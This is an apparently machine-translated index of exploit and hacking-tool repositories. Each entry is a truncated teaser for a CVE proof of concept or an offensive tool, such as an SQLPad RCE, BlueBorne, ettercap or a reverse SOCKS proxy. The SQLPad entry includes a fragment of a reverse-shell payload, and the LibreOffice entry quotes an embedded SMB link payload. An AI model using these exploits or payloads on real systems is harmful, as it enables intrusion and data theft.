AnySniff

💀AnySniff AnySniff è uno strumento per monitorare le connessioni TCP di processi come AnyDesk su Windows. Sfrutta la vulnerabilità CVE-2024-52940 per tracciare le connessioni aperte e registrare indirizzi IP, porte e altri dettagli rilevanti. ⚙Funzionalità Monitora le connessioni TCP dei processi...

FinalShellDecodePass

FinalShellDecodePass crittografia/decrittografia /Applications/FinalShell.app/Contents/Java/finalshell.jar!/myssh/O0O0OO0OOOO0OO0000O0O0O0000O00OOO0OOOOO00000OO0O0O0OOO00OOO0O00O000OOOO0OO00000O0OO0OOO00O0000OOOOOO.class Il campo password si trova in...

SVPT_CW_2

CVE-2024-21413 https://github.com/KartheekKandalam99/SVPTCW2 CVE-2024-21413 Configurazione per CW TRYHACKME ha fornito una stanza per lavorare su questa vulnerabilità. Di seguito il link per accedere alla stanza https://tryhackme.com/r/room/monikerlink Per accedere alla stanza tramite RDP dobbiam...

bandwhich

bandwhich Dies ist ein CLI-Tool zur Anzeige der aktuellen Netzwerkauslastung nach Prozess, Verbindung und Remote-IP/-Hostname Inhaltsverzeichnis bandwhich Inhaltsverzeichnis Projektstatus Wie funktioniert es? Installation Downstream-Paketierungsstatus Vorgefertigte Binärdatei herunterladen Build...

CVE-2022-33980

CVE-2022-33980 CVE Apache Commons RCE può utilizzare le parole chiave url, dns, script per connettersi a qualsiasi server...

CVE-2020-14292

CVE-2020-14292: Um problema de transporte Bluetooth no aplicativo COVIDSafe Autor: Alwen Tiu, The Australian National University Última atualização: 2020-09-08 Resumo No aplicativo COVIDSafe até a versão 1.0.21 para Android, o uso inseguro da opção de transporte Bluetooth na conexão GATT permite...

CVE-2026-23918

CVE-2026-23918 Detector de Double-Free do Apache modhttp2 https://github.com/user-attachments/assets/d6c30e58-548c-4b6d-9ba3-baa667238a58 root@kitploit: python3 h2ghost.py -h usage: h2ghost.py -h --host HOST --port PORT --tls --no-tls --iterations ITERATIONS --burst-n BURSTN --timeout TIMEOUT...

SSCMS-PluginShell

Installare VisualStudio 2. Importare il progetto 3. Modificare il valore IPAddress.Parse nel file Startup.cs root@kitploit: using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using...

CVE-2025-36041

CVE-2025-36041 Exploração de Bypass SSL do IBM MQ Visão Geral Este repositório contém uma prova de conceito PoC da exploração para CVE-2025-36041 , uma vulnerabilidade no IBM MQ Fila de Mensagens que permite contornar a validação de certificados SSL. Ao injetar um certificado SSL falso e usar...

BlueBorn

BlueBorn CVE-2017-0785 Instalação no Archlinux paru -S python-pybluez-git bluez-utils-compat pyhton3 python3-pip sudo pip install pwn TUTORIAIS Descoberta root@kitploit: hcitool scan Scanning ... XX:XX:XX:XX:XX:XX Device 1 XX:XX:XX:XX:XX:XX Device 2 Usar o exploit root@kitploit: python...

CVE-2023-34468

CVE-2023-34468 Exploit Panoramica Questo repository fornisce uno strumento di exploit basato su Python per CVE-2023-34468 , una vulnerabilità critica di esecuzione remota di codice CVSS 9.8 nelle versioni di Apache NiFi dalla 0.0.2 alla 1.21.0. Consente agli utenti autenticati di eseguire codice...

CVE-2025-15474

Vulnerabilità Denial-of-Service DoS della serratura intelligente BLE Un flood di connessioni Bluetooth Low Energy BLE non autenticate può impedire in modo affidabile agli utenti legittimi di sbloccare il dispositivo interrompendo l'input del tastierino e forzando stati di blocco ripetuti. 📌...

ettercap

Una suite per attacchi man in the middle Copyright 2001-Current The Ettercap Dev Team INTRODUZIONE Ettercap è una suite completa per attacchi man in the middle. Offre sniffing di connessioni in tempo reale, filtraggio del contenuto al volo e molti altri trucchi interessanti. Supporta la dissezion...

ReverseSock5Proxy

Reverse TCP Sock5 Proxy Um pequeno Proxy Sock5 Reverso Servidor A GUI do Servidor construída com ImGui :V Você pode baixar uma versão pré-compilada em Releases. Compilação Você precisa de gcc versão 12+ recomendado para Windows Conan Package Manager E execute qualquer script da pasta scripts,...

CVE-2022-0944

CVE-2022-0944 PoC PoC para RCE no SQLPad. Este exemplo cria uma reverse shell, mas o payload pode ser modificado para executar qualquer comando disponível alterando o comando dentro da chamada 'exec' no payload. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i &...

CVE-2019-0708

Esiste una vulnerabilità di esecuzione remota di codice in Remote Desktop Services – precedentemente noti come Terminal Services – quando un utente malintenzionato non autenticato si connette al sistema di destinazione utilizzando RDP e invia richieste appositamente predisposte. Questa...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 Exploit CVE-2022-0944 Questo script Bash sfrutta una vulnerabilità RCE in SQLPad 6.10.0, consentendo a un attaccante di eseguire codice in remoto RCE abusando dei campi host e database nelle impostazioni di connessione MySQL di SQLPad. L'exploit sfrutta la gestione non sanificata de...

CVE-2018-10583

CVE-2018-10583 Uma vulnerabilidade de divulgação de informações ocorre quando o LibreOffice 6.0.3 e o Apache OpenOffice Writer 4.1.5 processam e iniciam automaticamente uma conexão SMB embutida em um arquivo malicioso, como demonstrado por "xlink:href=file://192.168.0.2/test.jpg" dentro de um...

KSMBDrain

Visão Geral Exploit de Prova de Conceito para o KSMBDrain CVE-2025-38501. Ele pode esgotar remotamente o limite de conexões do servidor KSMBD. Detalhes Um atacante remoto pode esgotar o limite máximo de conexões de um servidor KSMBD realizando um handshake TCP de 3 vias e depois não respondendo a...

CVE-2024-4879

CVE-2024-4879 CVE-2024-4879.py è uno script Python progettato per rilevare specifiche vulnerabilità nelle istanze ServiceNow e scaricare i dettagli di connessione al database se la vulnerabilità viene trovata. Questo strumento è particolarmente utile per ricercatori di sicurezza e penetration...